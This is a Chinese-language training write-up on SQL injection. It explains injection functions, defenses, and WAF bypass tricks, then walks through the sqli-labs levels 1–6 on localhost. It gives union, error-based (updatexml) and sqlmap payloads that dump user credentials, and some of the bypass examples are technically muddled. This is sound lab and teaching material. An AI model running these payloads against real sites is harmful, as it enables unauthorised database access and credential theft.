实训第五天

1. SQL介绍

1.1 SQL注入原理

SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

1.2 SQL注入常用函数及含义

1.2.1 concat函数

concat函数主要功能就是将多个字符拼接成一个字符串

语法:concat(str1,str2,......)

返回的结果为连接参数生成的新字符串,如果有任何一个参数为NULL,则返回值就为NULL。
将数据表中多列数据排成一列,便于显示结果,concat_ws函数和concat函数类似,区别是concat—ws函数可以指定分隔符,其语法为:concat_ws(separator,str1,str2,...),需要注意的是分隔符不能为NULL,如果为NULL,则返回结果为NULL。group_concat函数也和concat类似,区别是group_concat函数主要用在含有group_by的查询语句中,将同一个分组的值拼接起来。

语法:group_concat({distinct}column{separator‘分隔符’})


1.2.2 length函数

length函数主要功能就是计算字符串的字符长度。

语法:length(str1),返回结果为字符串长度。
在SQL注入的过程中,经常需要计算字符串的长度,例如在不回显的场景下进行注入,一本被称为盲注,这种情况下需要逐一猜解字符,猜解过程中首先就要计算字符串长度。

1.2.3 ascii函数

ascii函数主要功能就是计算字符的sacii码值。

语法:ascii(char),返回结果为字符对应的ascii码值。
盲注的过程中需要逐一猜解字符,过程中需要计算ascii码,进行数值比较从而确定字符。

1.2.4 substr函数

substr函数主要功能就是截取字符串

语法:substr(string,start,length),其中string为字符串,start为起始位置,length为字符长度,返回结果为字符串。
盲注的过程中需要逐一猜解字符,过程中需要截取字符串中其中一个字符进行判断。

1.2.5 left、right函数

left函数主要功能也是截取字符串,默认从左截取。right同理

语法:left(string,length),其中string为长度,返回结果为子字符长度。


1.2.6 if函数

根据条件表达式的结果返回不同的值

语法:if(confition,value_if_ture,value_if_false),其中confition为条件表达式,value_if_ture,value_if_false分别是条件为真或假的时候表达的ture或flase作为条件返回的值
在SQl注入中,if函数和sleep函数结合使用,实现SQL注入中的时间盲注。

1.2.7 updatexml函数

改变文档中符合条件的节点的值

语法:updatexml(xml_document,XPath_string,new_value),其中xml_document为XML文档对象,XPath_string是XPath格式的字符串,报错注入时,需要写入错误的格式来显示错误的信息,new_valiue是string格式替换查找到符合条件的的数据,在注入时可以加入任意字符,执行XPath_string中SQL语句,获取相应的信息。
SQL注入过程中,若无数据回显,但是存在报错页面的数据回显,会用到报错注入中。

1.3 SQL注入防御手段

1.使用预编译语句(Prepared Statements)和参数化查询:这是预防SQL注入的最有效方法之一,通过这种方式,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构,因此可以避免注入攻击。

2.使用存储过程:存储过程也可以像预编译语句一样防止SQL注入,因为它们同样使用参数化查询。

3.使用ORM(对象关系映射)工具:许多现代编程框架提供了ORM工具,它们可以自动进行参数化查询,从而降低直接编写SQL语句的风险。

4.验证用户输入:对所有用户输入进行验证,拒绝不符合预期格式的输入,可以减少注入攻击的风险。

5.使用适当的错误处理机制:不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。

6.限制数据库权限:为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户,这样即使发生注入攻击,攻击者能做的也非常有限。

7.定期更新和打补丁:保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。

8.使用Web应用防火墙(WAF):WAF可以帮助识别和阻挡SQL注入攻击。

9.定期进行安全审计和代码审查:检查潜在的安全漏洞,及时修复。

10.使用参数化查询:无论何时,只要可能都应该使用参数化查询,而不是拼接SQL字符串。

1.4 SQL注入常用绕过waf的方法

​​​​​1.注释符号绕过:有些攻击者可以使用SQL注释符号(例如--、/**/、#)来绕过WAF的检测。这些符号可以用来隐藏恶意SQL代码,使其不会被WAF识别或过滤。
例如:SELECT * FROM users WHERE username = 'admin'-- -,该查询中使用了"-- -"来注释掉后面的SQL代码,从而绕过WAF的检测。

2.编码绕过:攻击者可以使用不同的字符编码来绕过WAF的检测。例如,使用URL编码、Unicode编码等方式来隐藏恶意SQL代码。

例如:SELECT * FROM users WHERE username = '%61%64%6D%69%6E',该查询中的"%61%64%6D%69%6E"是"admin"的URL编码形式,从而绕过WAF的检测。

3.大小写绕过:攻击者利用数据库系统对大小写不敏感的特性,将关键字"select"写成"SeLeCt",成功绕过了基于大小写的过滤器。

例如:SeLeCt * FrOm users Where UsErname = 'admin',该查询中关键字"select"和"From"被改写成了小写形式,从而绕过WAF的检测。

4.特殊字符绕过:攻击者使用引号来构造恶意SQL代码,成功绕过了WAF的检测。

例如:SELECT * FROM users WHERE username = 'admin'' OR '1'='1,该查询中的"'OR '1'='1"被用来绕过WAF的检测,使得查询可以正常执行。

5.逻辑漏洞绕过:攻击者利用应用程序或数据库的逻辑漏洞,使用盲注技术成功绕过了WAF的检测。

例如:SELECT * FROM users WHERE username = 'admin' AND password = 'password' UNION SELECT 1,2,3#,该查询中的"UNION SELECT 1,2,3#"被用来绕过WAF的检测,使得查询可以正常执行。

2. sqli-labs通关前五关

less1

提示你输入数字值的ID作为参数,输入?id=1

通过数字值不同返回的内容也不同,所以输入的内容是带入到数据库里面查询了

接下来我们判断sql语句是否是拼接,且是字符型还是数字型

根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

首先需要知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的

获取当前数据名和版本号

通过结果知道当前数据看是security,版本是5.7.26

输入  ?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中,接下来就是得到该表下的字段名以及内容,输入:

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

通过上述操作可以得到两个敏感字段就是username和password,接下来就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。输入:

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

less2

输入单引号或者双引号可以看到报错且报错信息看不到数字,所有猜测sql语句应该是数字型注入

使用order by 判断数据库有几列

3列回显正常,4列出现报错,说明只有3列

使用联合查询union select 判断回显位置:?id=-1 union select 1,2,3 --+

获取数据库名和版本信息:?id=-1 union select 1,database(),version()--+

查询到库名后查询库下所有表:

?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

判断users表中下的字段名称

查询username,id,password:

?id=-1 union select 1,2,group_concat(username ,id , password) from users

less3

输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

与level2思路相同?id=1') order by 3--+

使用联合查询union select 判断回显位置   ?id=-1') union select 1,2,3--+

获取数据库名和版本信息:

?id=-1’) union select 1,database(),version()--+

查询到库名后查询库下所有表:

判断users表中下的字段名称

?id=-1’) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

查询username,id,password

?id=-1’) union select 1,2,group_concat(username,"-",id,"-",password) from users --+

less4

输入?id=1发现回显一样

输入?id=2-1发现和?id=2是一样的,所以不是数字型

输入?id=1'回显正常

输入?id=1"报错,根据报错信息可判断出是字符型且闭合方式

输入?id=1“) order by 3 --+显示正常,可判断回显为3

接下来的思路与less3一样,输入指令:

?id=-1“) union select 1,2,group_concat(username,"-",id,"-",password) from users --+

less5

输入?id=1没问题

输入?id=1',发现是单引号字符型,后续语句为LIMIT 0,1

输入?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="ctfshow") ,0x7e),3)--+尝试爆数据库表名

爆库名 ?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表名 ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1

爆列名 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'

爆数据 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

3. 总结SQL手工注入的步骤

  • 1、判断有无注入点
  • 2、猜解列名数量
  • 3、通过报错方式,判断回显点是否存在
  • 4、回显点进行信息收集
  • 5、对应 SQL数据库注入

4.使用sqlmap通过或验证第六关

less(sqlmap)

4.1检测注入点

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1

4.2获取所有数据库

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -dbs

4.3获取表

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security -T users --columns

4.5获取数据

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security -T users -C id,username,password --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值